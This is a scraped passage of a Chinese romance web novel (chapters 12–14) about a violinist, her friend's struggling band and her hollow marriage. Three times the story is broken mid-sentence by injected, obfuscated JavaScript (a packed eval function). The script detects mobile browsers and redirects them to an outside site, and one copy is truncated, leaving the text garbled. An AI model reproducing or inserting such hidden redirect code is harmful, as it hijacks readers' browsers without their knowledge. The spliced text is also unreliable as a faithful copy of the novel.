郁思弦问:“人到了吗?” 酒保随手指了指身后,“到了,你要去就去吧。” 于是他们走进了客人们并不应当去的后台。 郁思弦敲了敲其中一道房门。 “来了来了!” 男声从里面传来,“啪”一下门开了,一个男人用非常熟络的口吻叫道:“嘿,思弦,你来了。” “嗯,带朋友过来看看,”郁思弦微微侧身,向陆照霜介绍道:“阿照,这是我的朋友林珩。” 陆照霜这才看清林珩。 他穿着黑色骷髅T恤,怀里抱着一把电吉他,看上去和他们的年纪相差不大,理着一头很短的寸头,脸上的骨骼感很强,给人一种脾气不大好的感觉,左耳连着的五个耳钉,更是加强了这种印象。 这竟然会是郁思弦的朋友。 “你好。”陆照霜一边和他打招呼,一边竭力忽视自己心里的异样。 她忽然有种感觉,她仿佛从来都没有真的认识过郁思弦。 林珩显然对她没什么兴趣,略点了下头,就跟郁思弦寒暄着走进了房间。 这是间休息室,空间不大陈设简单,只有几条柜子,并几把桌椅用来化妆休息。 离门口最近的位置,坐着一个看上去刚从大学毕业的小姑娘,怀里还抱着一把贝斯,怯生生朝他们打了声招呼,视线不自觉往陆照霜脸上撇来。 和她隔了两个位置,坐着一个手握鼓锤的微胖男人,看上去年纪在三十岁以上,穿着一身不算非常昂贵、但应该也不便宜的正装,好像刚从某个写字楼里走出来的上班族。 他礼貌地朝这边点头示意,“思弦,你来了。” 最边上的化妆镜前,歪斜着一个红裙女人,没骨头一样靠在椅子里,长卷发垂落下来,嘴唇跟裙子一样鲜红,但放在她那张漂亮的脸上,却并不显得突兀,只给人一种极其浓烈的颓丧感。 女人往陆照霜脸上扫了一眼,就没什么兴趣地收了回去,懒散地剪着自己的手指甲。 看到这个配置,陆照霜大概猜了出来,她这是来到了某个乐队的后台。 郁思弦并没有介绍他们互相认识的意思,只问林珩:“人你找到了吗?” “没呢,”林珩烦躁地抓了抓自己短到不能再短的头发,“我看得上的,看不上我们;看得上我们的,我看不上。” “那今天怎么办?” “从隔壁音大雇了个学生,没办法,先应付过去再说吧。” 郁思弦并没有对此提出意见,或者多加评价,只是很平淡地说:“那祝你们今晚演出顺利,我先走了。” 林珩道:“好,也多谢你借我练习室用。” “用不着客气。”郁思弦简单告辞后,就带着陆照霜重新走出了休息室。 陆照霜有很多问题想问,然而人来来往往,她心有顾忌,便只能先忍着。 一路跟着郁思弦上了2楼,在一个僻静的卡座坐下,她这才问出口,“那是你的朋友,什么时候认识的?” 郁思弦眼中带笑,把酒水单推到她面前,“先点单,然后再告诉你。” 陆照霜横他一眼,只觉郁思弦今天格外会吊人胃口。 酒水单上全是一些奇奇怪怪的名字,根本分辨不出口味和酒精度数,她只好问旁边的服务员,“有什么推荐的吗?” “这杯‘黄粱一梦’,是我们店推出的新品,最近很受好评,女士,您要不要试试?” 陆照霜觉得这名字十分不详,便又问:“还有别的吗?” 服务员微笑着指向另一页,“那这道‘醉浮生’怎么样?味道偏甜,度数也比较低,女顾客一般都挺喜欢的。” “那就这个吧。”陆照霜点完酒,又点了一道简餐。 酒水单重新推到郁思弦面前,他点的却是那杯黄粱一梦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861641|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等侍者走了,陆照霜才打趣道:“怎么,你最近碰到什么糟心的事了吗?想一醉方休,忘个干净。” “不是,”郁思弦摇头,悠悠道:“只不过这个名字很符合我最近的心情,黄粱一梦、如梦方醒。 能配得上如梦方醒这种措辞的事情可不多见。 陆照霜兴致上来,手肘撑上桌面。 然而还没等她开口,郁思弦就似笑非笑地堵住了她的问题,“如梦方醒,和我是怎么认识的林珩,这两件事如果你只能选一样来问,你会问什么?” 陆照霜就像找到了喜欢的玩具,却被告知只能在其中二选一的孩子,露出了很明显的纠结神色,但也并不恼怒。 因为对于成年人来说,好奇心本身就是一件很稀缺的事情。 她很珍惜这种心情,便顺着郁思弦给的选择,认真想了想,“那我还是想听你是怎么认识林珩的。” “这样啊,其实如果你问的是如梦方醒,那我恐怕会很难回答你。” 郁思弦虽然这么说着,但表情与其说是松了一口气,倒不如说是一种微妙的惋惜。 “我和林珩是大学同学,名义上的舍友。” 之所以是名义上,自然是因为大学期间,郁思弦和陆照霜其实都是回家住的。 大学总有很多活动是以宿舍为单位组织参加,那他们认识倒也并不奇怪。 陆照霜刚觉得自己困惑已解,却没想到郁思弦跟着就扔出了另一个炸弹。 “林珩在大学期间组过一个乐队,我被他叫去看过几次,后来有一次他临时受伤,没有办法上台,我替他弹过一次吉他。” 陆照霜讶然,“你会弹吉他?” “是啊。”郁思弦看着她,露出微笑。 “我怎么,”陆照霜试图从记忆中找到有关郁思弦和吉他之间的联系,却始终一无所获,“我怎么一点也不知道?” 郁思弦意味深长地说:“因为是我故意不让你知道的。” 陆照霜眼睛不由睁大。 这时服务生走过来,将他们点的酒水端到他们面前。 郁思弦道了谢,然后端起来喝了一口,蹙了蹙眉,又重新放下,“还好你没有点这道,它度数比我想得要高。” 陆照霜看着郁思弦这副若无其事的模样,当真是觉得古怪极了。 作为这么多年的朋友,郁思弦竟然说他故意不让她知道,还一点也没有不好意思的样子。 “为什么不让我知道?”陆照霜觉得郁思弦简直是在捉弄她。 然而郁思弦的神情却十分柔和,“抱歉,阿照,我想,现在还不是告诉你的时候。” “为什么?” “因为那个答案,一定会让你觉得非常为难。”郁思弦平静地说。 13. 第 13 章 这话听上去真像一个借口,但陆照霜偏偏觉得,他这句一定是真话。 嗓子无端变得干哑起来,陆照霜端起酒杯,急急喝了一口,确如服务生所说,并没有过度的刺激,只有一种让人沉醉的果香甜味。 醉浮生,醉浮生。 她在心里默默念了两遍这个名字,索性便不再多想,直接靠进椅背,轻轻晃动酒杯,享受起这样一个颓丧的酒吧、一杯名字古怪的酒,以及这晚上一切新奇与谜题。 她随意地问:“你看上去对那个乐队挺在意,很喜欢他们吗?” 郁思弦反问:“你觉得这个乐队如何?” 陆照霜失笑,“我都没有听过,怎么评价?” “你刚才跟他们已经见了一面,我只想知道你的第一感觉。” 陆照霜想了想,先跟郁思弦确认,“你确定对这个乐队没有特别的偏爱?” 郁思弦肯定地回答:“没有。” “那好,我直说了,他们给我的感觉像一盘散沙。” 陆照霜微微眯起眼睛,回忆着刚才的那一面。 “鼓手和贝斯看起来像是业余爱好,那个穿红裙子的姑娘,应该是他们的主唱吧,她像是被硬拉过来的,对这个乐队没什么归属感。” “整支乐队里,唯一一个有干劲的人,就是你那位朋友,他手上的茧子很厚,而且看上去还要操持乐队内的人事和管理,野心很大,但独木难支,靠他一个人很难把一团散沙聚起来。” 郁思弦微笑着给她鼓了下掌,“很犀利又准确的的评价,不过有一点你猜错了。” “哪里?” “这支乐队里有干劲的人,不止林珩一个。” 陆照霜被吊起胃口,正要再问,郁思弦已朝她比出了一个“嘘”的手势。 “他们的表演要开始了。” 陆照霜转头望去,而后怔在当场。 她好像明白了郁思弦特地带她过来的理由。 只见一楼的舞台上,方才见过的四人都已经就位。 而那个被雇佣的学生,手里拿的乐器,赫然是一把小提琴。 她此刻思绪万千、惊疑不定,有满腹疑问想问郁思弦。 郁思弦只是淡笑着,指向下面的乐队,“阿照,先听听看,其他的等结束了我们再谈。” 陆照霜只得暂且忍住。 舞台上,林珩握住了麦克风,声音浑厚地朝观众们喊道:“大家晚上好,我们是今晚表演的乐队——逃出人间!我是吉他手林珩!” 他张臂指向其他成员们,“这是我们的主唱徐勿凡!” “贝斯高若涵!” “鼓手唐湾!” “以及今天特地来支援我们的小提琴手杜骅!” 林珩每介绍一个人,对方就会拿起自己的乐器,朝台下的观众简单致意。 酒吧里的掌声不算非常热烈,但林珩的兴致却完全没有被打倒,他活跃得就好像这不是一个地下酒吧,而是足以容纳上万人的体育馆似的。 “接下来是我们乐队的第一首歌——《旋转十字路口》!” 事实上,虽然陆照霜之前对这个乐队的评价不高,但她到底相信郁思弦的品味,还是对他们抱有很高的期待。 可真的开场后,那个效果只能用两个词来形容,惨不忍睹、耳不忍闻。 跟她之前预料得一样,林珩是这个乐队里最有干劲的那个人,他的演奏堪称无可挑剔,但那又如何? 贝斯和鼓手时不时就会乱了节奏,小提琴手更是在跑调的边缘反复拉扯,主唱的音色其实有几分动人,但她表现得就像一个被抓进片场的路人,堪称昏昏欲睡。 陆照霜朝郁思弦飞去一个眼神——你想让我看的是这个? 郁思弦回以十分坦然的微笑。 陆照霜心想,今晚的惊喜还真是接连不断,连演出都烂得十分出人意料。 就当一场休息了,她有一搭没一搭地听着他们唱歌演奏,苦中作乐地挑着他们的错音。 然而这种悠哉的心态,在他们唱到最后一首歌的时候,却陡然一变。 林珩的脸色本来已经十分僵硬难看,但当他高喊,“接下来,是我们乐队的最后一首歌,《假面》!” 他整个人如枯木逢春般活了过来。 不只是他,贝斯鼓手都跟着精神一振,主唱的表情看起来并没有什么变化,但当她开口的一瞬间,却已和几分钟前判若两人。 “我们浑浑噩噩做笑脸, 保持你我体面。” 浓烈到如有实质的欲望,从徐勿凡的声音里喷薄而出,极富穿透力的嗓音在这首歌里终于被发挥得淋漓尽致。 徐勿凡握着麦,外表看起来仍旧慵懒如常,但她眼里像是跳动着汹涌的火光,一种燃尽一切的愤怒,一种抓住最后一根稻草绝不放手的浓烈野心。 这一刻陆照霜突然懂得了,这个乐队里,另一个有干劲的人是谁。 那四个人在此结成了一个整体,用乐器和声带一起嘶吼着,要将那首歌的感情传递到观众的耳中。 以至于那个小提琴手的糟糕发挥,都无法完全掩盖这支乐队此刻的光芒。 陆照霜怔怔看着,忽然,她和徐勿凡对上了眼神。 她静坐于人群之外,徐勿凡伫立在灯光之下,隔着暗与光、上与下、远与近的距离,她们对视了一眼。 不知为何,陆照霜就是觉得,那一眼不是偶然,而是冲她而来。 徐勿凡看着她,还在唱着—— “我们浑浑噩噩做笑脸, 保持你我体面。 任它溃烂, 任它腐败。 当天放晴, 我们又互道早安, 戴上假面。” 她嘲讽着一切故作姿态,嘲讽着一切粉饰太平,嘲讽着一切虚与委蛇。 嘲讽着坐在2楼卡座上,隔岸观火、却还是被烧到了掌心的……陆照霜自己。 文艺创作是来自灵魂深处的呐喊。 陆照霜一直深信这一点,在每次音乐会的练习中,都竭力透过曲谱去理解那些大师们表达的感情。 理解、传递、再表达,许多年来她重复着这个过程,兢兢业业,既投身其中、又置身事外。 这是头一次,那把火越过了她一直设在自己心里的安全界限,烫到了她。 徐勿凡的眼神好像在说,这整个酒吧里,一直戴着假面的那个人,不就是你? 陆照霜几乎是仓皇地,在那个对视中移开了视线。 这一曲结束,酒吧里响起比开场时热烈了好几倍的呼喊和掌声。 逃出人间的成员们朝观众们行礼过后,就回到了后台。 酒吧回到了之前的状态,充斥着白噪音一般冗杂琐碎的声音。 但陆照霜知道,已经不一样了。 这里已经点燃过一把火,即便这把火已经烧退,但现场仍旧残留着对于那场高温的记忆。 “现在呢,阿照?” 郁思弦坐在桌对面,目光格外幽深犀利,“现在你怎么看这支乐队?” 陆照霜好半天才找回自己的声音。 她试图拨开自己脑内那些复杂的情绪,尽可能以公正的立场评价道:“最后一首歌的发挥和前面完全不是一个水平,如果他们能全程保持那个状态,我想说不定还不错。哦,当然,我指的是那四个正式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861642|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队员。” 至于那个小提琴手的发挥,她想已经不需要她再说什么了。 郁思弦解释道:“大概在两个月前,这个乐队发生了一些冲突,他们以前的小提琴手选择了离开,乐队差点直接解散,多亏林珩把他们重新拉了回来,但军心溃散,只有那首假面是他们已经演奏过很多次的歌,其他的都是林珩这两个月的新作。” 那前面糟糕的表演,确实可以解释了。 郁思弦继续道:“他们还不是一支真正的职业乐队,每个人都有自己的本职,练习时间非常有限,而且资金情况不容乐观,林珩找上我,是希望我能借他一间练习室,他现在没有多余的资金来租用练习室了。” 陆照霜心情复杂地听完,干笑了一声,“那你和他的感情倒是真的好,会乐于助人到这种地步。” “这不是一场单方面的给予,准确来说,我也有我的目的。我们公司有一个称得上收视保障的综艺台柱《乐队人》,它的第三季预计在下半年录制,参加这个节目的很多乐队都已经有了自己的经济合约,我当然也希望能在这个节目上捧出属于自己公司的乐队。” “你看好这支乐队?” 郁思弦斟酌着回答:“如果他们能在节目中取得不错的成绩,那我就会签下他们。” 陆照霜给他鼓了个掌,“真不错,祝你们都能得偿所愿。” 听着她带刺的语气,郁思弦轻轻晃了晃杯中的酒,“看来你已经猜到,我想拜托你的是什么了。” 陆照霜勾了勾唇角,“我还不至于蠢到现在都意识不到。” 他带她来看这个乐队的演出,而偏偏这个乐队现在最大的缺陷就是小提琴手,那他拜托的还能是什么? 陆照霜觉得荒谬极了。 她对流行音乐并无偏见,但是,就在她刚刚成为乐团首席后不久,她最好的朋友,却带她看一个地下乐队的演出,并试图让她加入其中。 她不知道郁思弦到底在想些什么,也不想知道。 她翻开手机,看了眼时间,“有点晚了,我该回去了。” 说完,她也不看郁思弦,径自就朝楼下走去。 她听到跟在自己身后的脚步声,不紧不慢,悠悠哉哉。 这让她更生气了。 走到门边,正要推门,却有一只手从她身后越过来,牢牢地握住门把手。 陆照霜推不动,转头直视郁思弦的眼睛。 这一刻,她几乎是被半困在郁思弦的怀里,然而郁思弦的眼睛却仍旧非常温和,并不给人逼迫的感觉。 “阿照,你在生什么气?气我不够了解你,还是气我不够支持你?” 陆照霜闷闷地抿着唇,不做回应。 她也说不清自己到底在生什么气,只有愤怒从胸口一点点涌出来,根本止不住。 她想,郁思弦怎么能这样呢? 明明他们昨天刚刚和好,决定放过这两年来的疏离,重新成为要好的朋友。 明明一直以来,郁思弦都有看着她是如何为了乐团首席这个目标而努力。 他怎么能在亲眼见证过这一切后,对她提出这样的要求呢? 正因为是郁思弦,所以她觉得格外无法接受。 “阿照,”郁思弦一错不错地看着她,“我说过,这件事全凭你的意愿。” “我看好他们的未来,但也只不过是看好。我和林珩关系不错,所以我愿意借他练习室,但也仅此而已。绝对到不了,让我可以强迫你,做你不喜欢的事的程度。” 那种温和的语调,让陆照霜慢慢地就平复了下来。 “而且,”郁思弦又道:“你比他们都重要,你不知道吗,阿照? 14. 第 14 章 陆照霜顿时有种手足无措的窘迫。 好像自己变成了无理取闹的小学生,在幼稚地逼迫郁思弦说他和谁更要好。 看出了她的羞恼,郁思弦很低地笑了一声。 他终于将手往前一推,紧闭的大门打开,带着樱花香味的晚风一瞬就从陆照霜身后而来,拂过她发间的脖颈。 陆照霜迅速背过身,脚步轻快地走上台阶,裙摆在视线内散开,变成一圈被风荡开的涟漪。 片刻后,他们重新走回街道,灯光明亮,他们站在树下等代驾过来。 树影婆娑,遮掩住了所有不自在的神色。 陆照霜开口:“好吧,无论如何,思弦,还是谢谢你今晚带我来这个地方,很新鲜的体验,虽然我应该没法帮你这个忙了。” 郁思弦肩头微耸,并没有因她的拒绝而失落,而是意有所指地看着她。 “他们每周都会在这里演出一场,阿照,直到他们找到正式队员之前,你都可以继续考虑。” 陆照霜方才平复的心跳,就因为这句话,而重新躁动了起来。 然而,回到家里,黑沉的房子一秒将她带回现实。 她打开微信,点击萧烨的头像,果不其然,那个昨天跟她说会带礼物回来的男人,在朋友圈里晒出了泳池派对的照片。 和萧烨挨在一起的人,男男女女都有,有的人陆照霜认识,有的不认识,但都一样离她很远。 大约是玩得太高兴了吧,所以失约了以后,连一句解释都没有发给她。 陆照霜自嘲地勾起唇角,毕竟微信上说再多话,也没有办法表演给别人看,难怪萧烨连句解释的心思都没有。 失神间,忽然又弹出新的消息,她精神一振,猛地坐起身,却发现那是家族群聊。 萧母在群内@他们俩:【这是你们两周年纪念日的策划终稿,你们俩最后再确认一下,看有没有什么需要修改的。】 两家父母都决定要好好操办一番,反而轮不太到他们两个当事人插手。 但毕竟是两周年,她犹豫了一下,觉得自己还是应该好好看看,于是回复:【好的。】 她打开文档,刚看了个开头,群里又跳出新消息。 萧烨:【这种事情我全凭老婆大人的喜好。】 陆父就在群内顺嘴说了自家女儿一句:【也别太惯着她了。】 陆照霜瞬间便意兴阑珊。 又来了,萧烨真的很会把浑不在意,伪装成百依百顺。 是她想错,当微信消息发在群内的时候,还是具有表演价值的。 她索性把手机丢开,跑去琴房里练琴,约过了半个多小时,她才拿起手机,装作已经认真看过了的样子,回复道:【我觉得很好,没有想改的了。】 于是包括萧烨在内,群内所有人都陆陆续续发了一些庆祝的表情,有种花团锦簇般的虚幻。 陆照霜一眼也不愿再看下去,重新拿起小提琴,全情投入地开始练习。 只是,等她筋疲力尽的那一刻,她才意识到,她拉的,不是下次音乐会的演奏曲目。 而是那一首《假面》。 * 陆照霜结婚纪念日的礼服,是一件水蓝色的礼裙,简洁大方的掐腰设计和线条流利的一字领,都设计得很漂亮。 只是这个颜色,委实太梦幻了一点。 她年纪轻,又带着重重非议加入乐团,为了不让人太容易看轻自己,所以早已习惯更稳重雅致的颜色。 以至于这样的亮色出现在身上,自己都觉得扎眼。 她该好好看那个策划案的,可惜为时已晚。 走出试衣间,她微抬下巴,看着那个坐在沙发上玩手机的青年,不确定地问:“看起来怎么样?” 青年抬起头,露出一张和她有几分相似的脸,视线毫不客气,把她上下打量好几番,最后啧啧道:“就那样吧。” 不具备任何参考性。 陆照霜真恨不得找样东西扔他头上,“为什么是你来陪我试礼服?” 青年跟着摊开手,无语地笑:“说得好,我也想知道,为什么我要来陪你试礼服?” 来陪她试礼服的人,不是她户口本上的合法丈夫萧烨,而是她的表弟沈霖。 沈霖小她一岁,常住黎城,这次过来,是特地代表姨妈来庆祝她两周年结婚纪念日的。 他们姐弟俩自幼关系就很好,换了其他时候,陆照霜挺乐意招待沈霖的,但绝对不是现在。 果不其然,下一刻,就见沈霖抱着胳膊,四下环顾一番,然后冷笑道:“那混蛋呢?两周年纪念日就你一个人过吗?不知道的,还以为你重新定义了婚姻法,都能跟自己结婚了呢。” 陆照霜扶住额头,无奈。 这就是不能在这种时候见沈霖的理由,因为沈霖真的非常、非常、非常讨厌萧烨。 说曹操曹操就到,她手机震动,萧烨发来消息:【我在盛昌酒店预定了房间,今天中午请你弟一起吃饭吧。】 陆照霜一想到那个可怕的画面,就觉得非常头痛。 她不能不提前叮嘱一声沈霖:“萧烨请你吃饭,我不奢求你对他有什么好感,但起码今天吃饭的时候,表现得礼貌一点,OK?” “和那个混蛋一起吃饭,很影响我的胃口啊,”沈霖装模作样地说着,然后就开始在手机上打字,“那我得叫思弦哥一起,不然我吃不下去。” “你又麻烦思弦,他人很忙的。” 沈霖头都不抬,“思弦哥要真忙到抽不开身,那他会拒绝我的。” 陆照霜不由腹诽:郁思弦什么时候真的拒绝过你的要求了? …… 临近中午,陆照霜载着沈霖抵达盛昌酒店。 走进包房的时候,萧烨和郁思弦都已经到场,似乎是在聊着生意上的某些事情,见他们推门而入,就都住了嘴。 萧烨起身走过来,主动伸出手,朝小舅子示好,“好久不见了,小霖。” 萧烨刻意想要讨人喜欢的时候,总是能笑得非常如沐春风。 可惜这一切,只换来了沈霖非常敷衍的一个点头。 他理都没理萧烨伸过来的手,径自在郁思弦旁边坐下,连句寒暄都没有,直接进入正题,显得十分熟稔。 “思弦哥,你真该来看看陆照霜那条礼服的颜色,也不知道她是怎么选的。” 萧烨的表情有短短一秒的凝滞,随后,那只被晾在半空中的手,十分自然地搂住陆照霜的肩膀,带着她在座椅上坐下,丝毫不以为意的模样。 “怪我,早上有个会抽不开身,小霖你辛苦从黎城跑来一趟,还替我陪你姐姐试衣服,怎么样,下午我和阿霜一起陪你逛逛,来给你赔罪?” 沈霖眼都没抬,“申城有什么好玩的?我不都跟思弦哥他们玩腻了吗?” 萧烨的表情再次陷入凝滞。 他这人惯会左右逢源,但架不住世上就是有这种人,任凭你什么招数,他懒得理就是懒得理。 沈霖是陆照霜最亲近的弟弟,萧烨认识沈霖比郁思弦更早。 但从八岁那年开始,郁思弦就一直是跟着陆照霜回家去过年的,以至于他们远比和他更熟络。 可无论如何,在萧烨的印象里,沈霖以前还没有抵触他到这种程度,顶多是合不来有些生疏罢了。 “咳咳。”陆照霜干咳两声,面对这个令人窒息的场面,尽量笑着岔开话题,“菜点了吗?没有的话先点菜吧。” “你们点吧。”郁思弦随意道。 沈霖无可无不可地附和。 陆照霜很隐蔽地给萧烨使了个眼色,萧烨点了下头,然后接过服务生递过来的菜单。 “松鼠鳜鱼、龙井虾仁……还有鱼香肉丝,”一长串菜名被他报出来,最后他抬眸朝沈霖笑道,“还有什么需要点的吗?小霖?” 沈霖一时语塞,他喜欢吃的菜全被萧烨点了一遍,那还有什么需要补充的? 但这自然不可能是因为萧烨有多清楚他的口味,只能是他姐姐给了萧烨小抄。 沈霖怒视陆照霜一眼,陆照霜回了他一个“差不多行了”的表情。 萧烨终于扳回一城,声音都愉悦了几分,“阿霜,思弦,你们还有什么想点的吗?” 陆照霜没什么所谓,“都可以,就这些吧。” 萧烨又望向郁思弦。 这本来只是例行公事,因为郁思弦向来不太在乎这些东西,未料他忽然开口,“今天的菜都做得清淡点吧。” 萧烨疑惑,“你不是本来就不吃辣?” 郁思弦蹙了蹙眉。 陆照霜愣了下,恍然反应过来,“我忘了,这一阵我胃炎又犯了,医生让我忌辛辣。” 萧烨有几分意外,跟服务员交代完后,责备了她一句,“你怎么这种事都能忘?” 陆照霜摆手,“又不严重。” 萧烨的目光落在郁思弦身上,仍是微笑,却暗含着不动声色的打量,“谢谢你提醒啊,思弦。” 郁思弦表情平淡,简单带过,“上次音乐会以后,和阿照吃了一顿饭,看她吃了辣不太舒服,就猜到了。” 陆照霜一怔。 这说法,就好像他们那天只是简单吃了一顿饭而已。 但与酒吧里发生的其他事情相比,吃饭实在是其中最不值一提的小事。 陆照霜心头拂过一阵极其古怪的感觉。 可酒吧里的事三言两语又很难讲清,她一时沉默了下来。 三人此刻都按兵不动,唯独沈霖像是抓住了什么重要把柄。 “喔,”他把一直在玩的游戏关掉,慢条斯理地交叉双手,撑在桌面上,用审视的目光看着萧烨,“现在时兴夫妻不在一起吃饭的吗?怎么思弦哥都比姐夫更了解我姐的口味?” 他几乎从不管萧烨叫“姐夫”,但凡叫了,必定夹枪带棒、连讥带讽。 萧烨再会粉饰太平,也有些忍耐不了了。 他自然不会说什么“不知道的还以为郁思弦才是他姐夫”这种话,那纯属自讨没趣。 他只是笑笑,拉住陆照霜的手,意味深长道:“小霖和思弦的关系真的好,倒像是比你这个亲姐姐还要亲。” 玩笑的语气,却暗指郁思弦不过是一个外人而已。 郁思弦不禁抬眼,很明显地感觉到来自萧烨的敌意。 “萧烨!”陆照霜声音提高,警告他。 沈霖则是直接将杯子往桌上一掷,语气已经不太客气,“都二十一世纪了,我和谁关系好,可不是户口本和血缘关系决定的。思弦哥和我姐一样,当然都是我的家人。” “是嘛?”萧烨含笑支着下巴,用大人捉弄小孩儿一样的语气,问道:“那小霖,你觉得阿霜和思弦谁对你更重要呢?” 总有大人喜欢逗小孩儿,问你更喜欢爸爸还是妈妈?状似无意的问题,其实就是在衡量爱的重量。 被问到的人、和问题里的人,都难免要觉得受伤。 陆照霜和郁思弦都拧起眉,正欲开口阻止,却听沈霖道:“这有什么好纠结的?” “我为什么要在他们俩中间选边站?难道思弦哥有一天会站在我姐的对面吗?”沈霖懒散地向后靠进椅背,像看傻逼一样看向萧烨。 三人具是一怔。 沈霖的语气如此理所当然,甚至都没有向郁思弦投去征询的目光。 却在郁思弦心里掀起难以言喻的波澜。 好像自以为把极为重要的秘密隐藏在暗夜里很多年,却早被别人洞若观火,看得明明白白。 沈霖又问:“你只有这种蠢得要死的问题吗?那下一个是不是要问,如果我姐和思弦哥同时掉进水里,我会救谁?” 萧烨脸色难看地扯了下嘴角。 沈霖自顾自回答:“我谁都不会救,因为他们俩都会游泳。我只会站在岸上趁机多拍点他们俩的丑照,然后等他们俩下次寒碜我的时候,把照片拿出来寒碜他们。” 沈霖用一种十分虚情假意、阴阳怪气的口吻,关切地询问萧烨,“怎么样,满意吗?这么喜欢预设一些两难困境来考验人的感情……姐夫,你是不是特缺安全感,需要人反复证明给你看,你才能信啊?” “好了!” 陆照霜猛然起身,座椅在地板上拉出一道极为刺耳的刮擦声。 其他三个人都向她看过来,但她谁也不看,只很勉强地笑了一下。 “看来大家都不是很饿,那这饭我看也没必要再吃了吧?沈霖,我想起今早那件礼服的腰围还得再改改,走吧,陪我过去一趟。” 说完,也不看其他两人对这个拙劣借口的反应,拖住沈霖的手腕,推开包厢门,径自走进电梯。 楼层数字从37一层层往下跳,陆照霜双手环臂,靠在电梯侧面,闭目深呼吸。 沈霖靠在她对面,打量着她的神色,半晌轻嗤一声,“这就连饭都不吃了?陆照霜,那这两年你都怎么过的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861643|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆照霜倏然睁开眼,“你觉得我是因为谁吃不下饭的?沈霖,你真的让我很难办。” 沈霖一脸浑然天成的诧异:“你为什么要觉得难办?” 陆照霜忍无可忍,看着这个故作无辜的家伙,“因为我的弟弟对我的丈夫很不礼貌,我知道你不喜欢萧烨,萧烨也确实做得不对,但先挑事的人是不是你?” 沈霖歪头认真听完,看她,“我承认是我挑的事,但我为什么不能挑事?” 就还怪理直气壮的,陆照霜愣是被噎住。 沈霖不紧不慢地道:“是萧烨把你丢下一个人出国,是萧烨让你一个人试两周年的礼服,是萧烨连你最近肠胃不好都不知道,他这副鬼德行,我为什么不能挑事?” “陆照霜,是他对不起你,你为什么要看他的眼色?” 他的每一句话,都像要揭开她的面皮,把她最不堪的一面晾晒在太阳底下。 她胸口难受起来,下意识反驳,声音都比平时更急促一点,“没有。” 沈霖诧异看她。 陆照霜闭了闭眼,缓和了一下语调,“小霖,我不知道为什么,你总觉得我们之间关系很差,但其实不是那回事……大家都是成年人了,我和萧烨都有各自的工作,总有很多无可奈何的事情,不可能事事都面面俱到,也不会那么随心所欲的。” 她越说,越觉得这个解释合理。 沈霖却慢吞吞地“哦”了一声,重复了一遍她的措辞,“无可奈何啊。” 陆照霜怎么听,都觉得他这语气非常阴阳怪气。 沈霖没个正形地歪靠着墙壁,看起来昏昏欲睡,眼神却锐利得像森林里的兽类,带着一种蓄势待发的攻击性。 “刚跟你结婚就出国,留下你守两年活寡,这也能叫无可奈何?那可真够扯淡的。” 陆照霜一愣。 电梯内装潢复古,灯光柔和暖黄,却化不开沈霖眼里的锐利。 “如果我因为迫不得已的理由非要出国……那我不可能这时候跟我女朋友结婚,我只会从早到晚每天都给她发消息打视频,让她烦我烦到两年里一分一秒都不可能忘得了我,然后在回国的那天再去跟她求婚。” 陆照霜心中重重一颤。 沈霖紧紧盯着她,那是来自血脉至亲之人毫不掩饰的关切、丝毫不怕被她讨厌的直白任性。 “我无论如何都搞不懂萧烨为什么非要那么干,他要么是脑子有病,要么是心理有病。” 电梯抵达一楼,陆照霜仓惶地理了理自己的头发,站到电梯门前,避开沈霖的视线。 在电梯门打开前,她听到沈霖的声音在身后响起。 “所以,陆照霜,我不可能对萧烨有一点礼貌,在你和他离婚前,我对他最好的态度,就是拿他当一团空气。” * 晚上八点,萧烨将车停在了郁思弦家门外。 经过中午一役,他自觉最好还是不要和沈霖待在同一个空间里,于是主动提出让陆照霜带沈霖回家,他则到郁思弦家暂住,反正两家就隔着一小片湖,也费不了什么事。 这个提议得到了大家的一致赞同。 萧烨看了眼微信,一直到郁思弦回复:【公司有点事还得再耽误一阵,你直接进去吧,密码没变。】 他这才下车。 郁思弦这套房子,是萧烨购置婚房时撺掇买的,买完以后他们三就互相交换了密码,出点意外还可以互相照应。不过说归说,平日里,他们谁也没有不经允许就擅自闯入。 萧烨进门后还有点陌生,这套房子装修好后没多久,他就出国了,没来过几次,不过按着自家的格局上了二楼,找了一间临湖的客卧,倒也没费什么功夫。 只是他看着对面的墙壁,感觉空间大小很有些古怪。 萧烨走过去,沿着几乎看不出痕迹的壁纸摸了摸,又敲了敲,传来的空荡回声,让他立刻确定那是一扇暗门。 推了一下,没推开。 然后他就看到了和壁纸融为一体的锁眼。 萧烨当真是颇为意外,“哈?原来他也会在家里装这种东西啊。” …… 洗完澡后,萧烨擦着头发出来,就听到一楼有响动。 他推开门,往下一望,郁思弦正在一楼的岛台喝水。 “你回来了?”萧烨趴在栏杆上问。 